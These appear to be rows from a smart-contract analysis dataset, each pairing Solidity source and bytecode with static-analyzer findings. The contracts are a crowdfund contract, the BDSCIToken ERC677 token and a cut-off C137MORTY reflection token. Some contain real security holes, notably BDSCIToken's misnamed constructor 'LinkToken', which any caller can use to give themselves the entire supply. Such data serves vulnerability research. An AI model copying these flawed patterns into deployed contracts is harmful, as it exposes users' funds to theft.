contract CrowdfundLogic is CrowdfundStorage {
// ============ Events ============
event ReceivedERC721(uint256 tokenId, address sender);
event Contribution(address contributor, uint256 amount);
event FundingClosed(uint256 amountRaised, uint256 creatorAllocation);
event BidAccepted(uint256 amount);
event Redeemed(address contributor, uint256 amount);
// ERC20 Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
// ============ Modifiers ============
/**
* @dev Modifier to check whether the `msg.sender` is the operator.
* If it is, it will run the function. Otherwise, it will revert.
*/
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(reentrancy_status != REENTRANCY_ENTERED, "Reentrant call");
// Any calls to nonReentrant after this point will fail
reentrancy_status = REENTRANCY_ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
reentrancy_status = REENTRANCY_NOT_ENTERED;
}
// ============ Crowdfunding Methods ============
/**
* @notice Mints tokens for the sender propotional to the
* amount of ETH sent in the transaction.
* @dev Emits the Contribution event.
*/
function contribute(address payable backer, uint256 amount)
external
payable
nonReentrant
{
require(status == Status.FUNDING, "Crowdfund: Funding must be open");
require(amount == msg.value, "Crowdfund: Amount is not value sent");
// This first case is the happy path, so we will keep it efficient.
// The balance, which includes the current contribution, is less than or equal to cap.
if (address(this).balance <= fundingCap) {
// Mint equity for the contributor.
_mint(backer, valueToTokens(amount));
emit Contribution(backer, amount);
} else {
// Compute the balance of the crowdfund before the contribution was made.
uint256 startAmount = address(this).balance - amount;
// If that amount was already greater than the funding cap, then we should revert immediately.
require(
startAmount < fundingCap,
"Crowdfund: Funding cap already reached"
);
// Otherwise, the contribution helped us reach the funding cap. We should
// take what we can until the funding cap is reached, and refund the rest.
uint256 eligibleAmount = fundingCap - startAmount;
// Otherwise, we process the contribution as if it were the minimal amount.
_mint(backer, valueToTokens(eligibleAmount));
emit Contribution(backer, eligibleAmount);
// Refund the sender with their contribution (e.g. 2.5 minus the diff - e.g. 1.5 = 1 ETH)
sendValue(backer, amount - eligibleAmount);
}
}
/**
* @notice Burns the sender's tokens and redeems underlying ETH.
* @dev Emits the Redeemed event.
*/
function redeem(uint256 tokenAmount) external nonReentrant {
// Prevent backers from accidently redeeming when balance is 0.
require(
address(this).balance > 0,
"Crowdfund: No ETH available to redeem"
);
// Check
require(
balanceOf[msg.sender] >= tokenAmount,
"Crowdfund: Insufficient balance"
);
// Effect
uint256 redeemable = redeemableFromTokens(tokenAmount);
_burn(msg.sender, tokenAmount);
// Safe version of transfer.
sendValue(payable(msg.sender), redeemable);
emit Redeemed(msg.sender, redeemable);
}
/**
* @notice Returns the amount of ETH that is redeemable for tokenAmount.
*/
function redeemableFromTokens(uint256 tokenAmount)
public
view
returns (uint256)
{
return (tokenAmount * address(this).balance) / totalSupply;
}
function valueToTokens(uint256 value) public pure returns (uint256 tokens) {
tokens = value * (TOKEN_SCALE);
}
function tokensToValue(uint256 tokenAmount)
internal
pure
returns (uint256 value)
{
value = tokenAmount / TOKEN_SCALE;
}
// ============ Operator Methods ============
/**
* @notice Transfers all funds to operator, and mints tokens for the operator.
* Updates status to TRADING.
* @dev Emits the FundingClosed event.
*/
function closeFunding() external onlyOperator nonReentrant {
require(status == Status.FUNDING, "Crowdfund: Funding must be open");
// Close funding status, move to tradable.
status = Status.TRADING;
// Mint the operator a percent of the total supply.
uint256 operatorTokens =
(operatorPercent * totalSupply) / (100 - operatorPercent);
_mint(operator, operatorTokens);
// Announce that funding has been closed.
emit FundingClosed(address(this).balance, operatorTokens);
// Transfer all funds to the fundingRecipient.
sendValue(fundingRecipient, address(this).balance);
}
// ============ Utility Methods ============
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
// ============ ERC20 Spec ============
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply + value;
balanceOf[to] = balanceOf[to] + value;
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from] - value;
totalSupply = totalSupply - value;
emit Transfer(from, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from] - value;
balanceOf[to] = balanceOf[to] + value;
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender] - value;
_transfer(from, to, value);
return true;
}
} | 0x60806040526004361061016a5760003560e01c806370a08231116100cb5780639744b8dc1161007f578063db006a7511610059578063db006a75146103e3578063dd62ed3e14610403578063e3b2594f1461043b57600080fd5b80639744b8dc14610383578063a9059cbb146103a3578063d7dfa0dd146103c357600080fd5b80637ecebe00116100b05780637ecebe001461032e5780638418cd991461035b57806395d89b411461036e57600080fd5b806370a08231146102eb5780637b4044a01461031857600080fd5b806323b872dd11610122578063313ce56711610107578063313ce5671461028d57806331a3a506146102b4578063570ca735146102cb57600080fd5b806323b872dd1461024d5780632f87e4be1461026d57600080fd5b806318160ddd1161015357806318160ddd146101ca5780631bb534ba146101ee578063200d2ed21461022657600080fd5b806306fdde031461016f578063095ea7b31461019a575b600080fd5b34801561017b57600080fd5b50610184610451565b6040516101919190610fe6565b60405180910390f35b3480156101a657600080fd5b506101ba6101b5366004610f94565b6104df565b6040519015158152602001610191565b3480156101d657600080fd5b506101e060085481565b604051908152602001610191565b3480156101fa57600080fd5b5060015461020e906001600160a01b031681565b6040516001600160a01b039091168152602001610191565b34801561023257600080fd5b506006546102409060ff1681565b6040516101919190610fbe565b34801561025957600080fd5b506101ba610268366004610f54565b6104f5565b34801561027957600080fd5b506101e0610288366004610fa6565b61055d565b34801561029957600080fd5b506102a2601281565b60405160ff9091168152602001610191565b3480156102c057600080fd5b506102c961057d565b005b3480156102d757600080fd5b5060005461020e906001600160a01b031681565b3480156102f757600080fd5b506101e0610306366004610ece565b60096020526000908152604090205481565b34801561032457600080fd5b506101e060035481565b34801561033a57600080fd5b506101e0610349366004610ece565b600b6020526000908152604090205481565b6102c9610369366004610ef1565b61072b565b34801561037a57600080fd5b506101846109d3565b34801561038f57600080fd5b506101e061039e366004610fa6565b6109e0565b3480156103af57600080fd5b506101ba6103be366004610f94565b6109ee565b3480156103cf57600080fd5b50600c5461020e906001600160a01b031681565b3480156103ef57600080fd5b506102c96103fe366004610fa6565b6109fb565b34801561040f57600080fd5b506101e061041e366004610f1c565b600a60209081526000928352604080842090915290825290205481565b34801561044757600080fd5b506101e060025481565b6005805461045e906110e3565b80601f016020809104026020016040519081016040528092919081815260200182805461048a906110e3565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610b88565b50600192915050565b6001600160a01b0383166000908152600a602090815260408083203384529091528120546105249083906110cc565b6001600160a01b0385166000908152600a60209081526040808320338452909152902055610553848484610bea565b5060019392505050565b60085460009061056d478461108f565b610577919061106f565b92915050565b6000546001600160a01b0316331461059457600080fd5b600260075414156105ec5760405162461bcd60e51b815260206004820152600e60248201527f5265656e7472616e742063616c6c00000000000000000000000000000000000060448201526064015b60405180910390fd5b6002600755600060065460ff16600181111561061857634e487b7160e01b600052602160045260246000fd5b146106655760405162461bcd60e51b815260206004820152601f60248201527f43726f776466756e643a2046756e64696e67206d757374206265206f70656e0060448201526064016105e3565b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556003546000906106a19060646110cc565b6008546003546106b1919061108f565b6106bb919061106f565b6000549091506106d4906001600160a01b031682610c92565b60408051478152602081018390527f352ce94da8e3109dc06c05ed84e8a0aaf9ce2c4329dfd10ad1190cf620048972910160405180910390a1600154610723906001600160a01b031647610d24565b506001600755565b6002600754141561077e5760405162461bcd60e51b815260206004820152600e60248201527f5265656e7472616e742063616c6c00000000000000000000000000000000000060448201526064016105e3565b6002600755600060065460ff1660018111156107aa57634e487b7160e01b600052602160045260246000fd5b146107f75760405162461bcd60e51b815260206004820152601f60248201527f43726f776466756e643a2046756e64696e67206d757374206265206f70656e0060448201526064016105e3565b34811461086c5760405162461bcd60e51b815260206004820152602360248201527f43726f776466756e643a20416d6f756e74206973206e6f742076616c7565207360448201527f656e74000000000000000000000000000000000000000000000000000000000060648201526084016105e3565b60025447116108ce5761088782610882836109e0565b610c92565b604080516001600160a01b0384168152602081018390527f4d154d4aae216bed6d0926db77c00df2b57c6b5ba4eee05775de20facede3a7b910160405180910390a16109ca565b60006108da82476110cc565b905060025481106109535760405162461bcd60e51b815260206004820152602660248201527f43726f776466756e643a2046756e64696e672063617020616c7265616479207260448201527f656163686564000000000000000000000000000000000000000000000000000060648201526084016105e3565b60008160025461096391906110cc565b905061097284610882836109e0565b604080516001600160a01b0386168152602081018390527f4d154d4aae216bed6d0926db77c00df2b57c6b5ba4eee05775de20facede3a7b910160405180910390a16109c7846109c283866110cc565b610d24565b50505b50506001600755565b6004805461045e906110e3565b60006105776103e88361108f565b60006104ec338484610bea565b60026007541415610a4e5760405162461bcd60e51b815260206004820152600e60248201527f5265656e7472616e742063616c6c00000000000000000000000000000000000060448201526064016105e3565b600260075547610ac65760405162461bcd60e51b815260206004820152602560248201527f43726f776466756e643a204e6f2045544820617661696c61626c6520746f207260448201527f656465656d00000000000000000000000000000000000000000000000000000060648201526084016105e3565b33600090815260096020526040902054811115610b255760405162461bcd60e51b815260206004820152601f60248201527f43726f776466756e643a20496e73756666696369656e742062616c616e63650060448201526064016105e3565b6000610b308261055d565b9050610b3c3383610e42565b610b463382610d24565b60408051338152602081018390527f4896181ff8f4543cc00db9fe9b6fb7e6f032b7eb772c72ab1ec1b4d2e03b9369910160405180910390a150506001600755565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316600090815260096020526040902054610c0e9082906110cc565b6001600160a01b038085166000908152600960205260408082209390935590841681522054610c3e908290611057565b6001600160a01b0380841660008181526009602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bdd9085815260200190565b80600854610ca09190611057565b6008556001600160a01b038216600090815260096020526040902054610cc7908290611057565b6001600160a01b0383166000818152600960205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d189085815260200190565b60405180910390a35050565b80471015610d745760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016105e3565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610dc1576040519150601f19603f3d011682016040523d82523d6000602084013e610dc6565b606091505b5050905080610e3d5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016105e3565b505050565b6001600160a01b038216600090815260096020526040902054610e669082906110cc565b6001600160a01b038316600090815260096020526040902055600854610e8d9082906110cc565b6008556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610d18565b600060208284031215610edf578081fd5b8135610eea81611134565b9392505050565b60008060408385031215610f03578081fd5b8235610f0e81611134565b946020939093013593505050565b60008060408385031215610f2e578182fd5b8235610f3981611134565b91506020830135610f4981611134565b809150509250929050565b600080600060608486031215610f68578081fd5b8335610f7381611134565b92506020840135610f8381611134565b929592945050506040919091013590565b60008060408385031215610f03578182fd5b600060208284031215610fb7578081fd5b5035919050565b6020810160028310610fe057634e487b7160e01b600052602160045260246000fd5b91905290565b6000602080835283518082850152825b8181101561101257858101830151858201604001528201610ff6565b818111156110235783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6000821982111561106a5761106a61111e565b500190565b60008261108a57634e487b7160e01b81526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156110c7576110c761111e565b500290565b6000828210156110de576110de61111e565b500390565b600181811c908216806110f757607f821691505b6020821081141561111857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461114957600080fd5b5056fea264697066735822122027b16b00655f045f45cbd8386ac5811f0a645a280b3c35502bc9ecbfd7964afb64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,134 |
0xde5b6b84b3825d5697df15fab070f9fd0f7df3a6 | /**
*Submitted for verification at Etherscan.io on 2017-09-23
*/
pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC677 is ERC20 {
function transferAndCall(address to, uint value, bytes data) returns (bool success);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC677Receiver {
function onTokenTransfer(address _sender, uint _value, bytes _data);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC677Token is ERC677 {
/**
* @dev transfer token to a contract address with additional data if the recipient is a contact.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
*/
function transferAndCall(address _to, uint _value, bytes _data)
public
returns (bool success)
{
super.transfer(_to, _value);
Transfer(msg.sender, _to, _value, _data);
if (isContract(_to)) {
contractFallback(_to, _value, _data);
}
return true;
}
// PRIVATE
function contractFallback(address _to, uint _value, bytes _data)
private
{
ERC677Receiver receiver = ERC677Receiver(_to);
receiver.onTokenTransfer(msg.sender, _value, _data);
}
function isContract(address _addr)
private
returns (bool hasCode)
{
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
}
contract BDSCIToken is StandardToken, ERC677Token {
uint public constant totalSupply = 100**27;
string public constant name = 'BlackDiamondSCInc Token';
uint8 public constant decimals = 18;
string public constant symbol = 'BDSCI';
function LinkToken()
public
{
balances[msg.sender] = totalSupply;
}
/**
* @dev transfer token to a specified address with additional data if the recipient is a contract.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
*/
function transferAndCall(address _to, uint _value, bytes _data)
public
validRecipient(_to)
returns (bool success)
{
return super.transferAndCall(_to, _value, _data);
}
/**
* @dev transfer token to a specified address.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value)
public
validRecipient(_to)
returns (bool success)
{
return super.transfer(_to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
validRecipient(_spender)
returns (bool)
{
return super.approve(_spender, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value)
public
validRecipient(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
// MODIFIERS
modifier validRecipient(address _recipient) {
require(_recipient != address(0) && _recipient != address(this));
_;
}
} | 0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc5780634000aea0146102075780634f8e2fdf14610270578063661884631461028757806370a08231146102ab57806395d89b41146102cc578063a9059cbb146102e1578063d73dd62314610305578063dd62ed3e14610329575b600080fd5b3480156100d557600080fd5b506100de610350565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a0360043516602435610387565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103c8565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103e3565b3480156101e857600080fd5b506101f1610426565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610177948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061042b9650505050505050565b34801561027c57600080fd5b50610285610465565b005b34801561029357600080fd5b50610177600160a060020a0360043516602435610490565b3480156102b757600080fd5b506101a0600160a060020a0360043516610580565b3480156102d857600080fd5b506100de61059b565b3480156102ed57600080fd5b50610177600160a060020a03600435166024356105d2565b34801561031157600080fd5b50610177600160a060020a036004351660243561060b565b34801561033557600080fd5b506101a0600160a060020a03600435811690602435166106a4565b60408051808201909152601781527f426c61636b4469616d6f6e645343496e6320546f6b656e000000000000000000602082015281565b600082600160a060020a038116158015906103ab5750600160a060020a0381163014155b15156103b657600080fd5b6103c084846106cf565b949350505050565b760a70c3c40a64e6c51999090b65f67d924000000000000081565b600082600160a060020a038116158015906104075750600160a060020a0381163014155b151561041257600080fd5b61041d858585610735565b95945050505050565b601281565b600083600160a060020a0381161580159061044f5750600160a060020a0381163014155b151561045a57600080fd5b61041d858585610841565b336000908152600160205260409020760a70c3c40a64e6c51999090b65f67d92400000000000009055565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156104e557336000908152600260209081526040808320600160a060020a038816845290915281205561051a565b6104f5818463ffffffff61092616565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60408051808201909152600581527f4244534349000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a038116158015906105f65750600160a060020a0381163014155b151561060157600080fd5b6103c08484610938565b336000908152600260209081526040808320600160a060020a038616845290915281205461063f908363ffffffff6109e816565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a03831660008181526002602090815260408083203384528252808320549383526001909152812054909190610777908463ffffffff61092616565b600160a060020a0380871660009081526001602052604080822093909355908616815220546107ac908463ffffffff6109e816565b600160a060020a0385166000908152600160205260409020556107d5818463ffffffff61092616565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b600061084d8484610938565b5083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108c85781810151838201526020016108b0565b50505050905090810190601f1680156108f55780820380516001836020036101000a031916815260200191505b50935050505060405180910390a361090c846109fe565b1561091c5761091c848484610a06565b5060019392505050565b60008282111561093257fe5b50900390565b33600090815260016020526040812054610958908363ffffffff61092616565b3360009081526001602052604080822092909255600160a060020a0385168152205461098a908363ffffffff6109e816565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000828201838110156109f757fe5b9392505050565b6000903b1190565b6040517fa4c0ed360000000000000000000000000000000000000000000000000000000081523360048201818152602483018590526060604484019081528451606485015284518794600160a060020a0386169463a4c0ed369490938993899360840190602085019080838360005b83811015610a8d578181015183820152602001610a75565b50505050905090810190601f168015610aba5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610adb57600080fd5b505af1158015610aef573d6000803e3d6000fd5b50505050505050505600a165627a7a7230582085553ae97a1c578a1c398f40c384b3b48bf2f50a4a8069e8810703851b4da8100029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 10,135 |
0x992159271ddbfdf861671cca13a53deeb8766b36 | // SPDX-License-Identifier: Unlicensed
// Telegram: https://t.me/C137Morty
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract C137MORTY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 137e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "C-137 Morty";
string private constant _symbol = "C137MORTY";
uint private constant _decimals = 9;
uint256 private _teamFee = 11;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
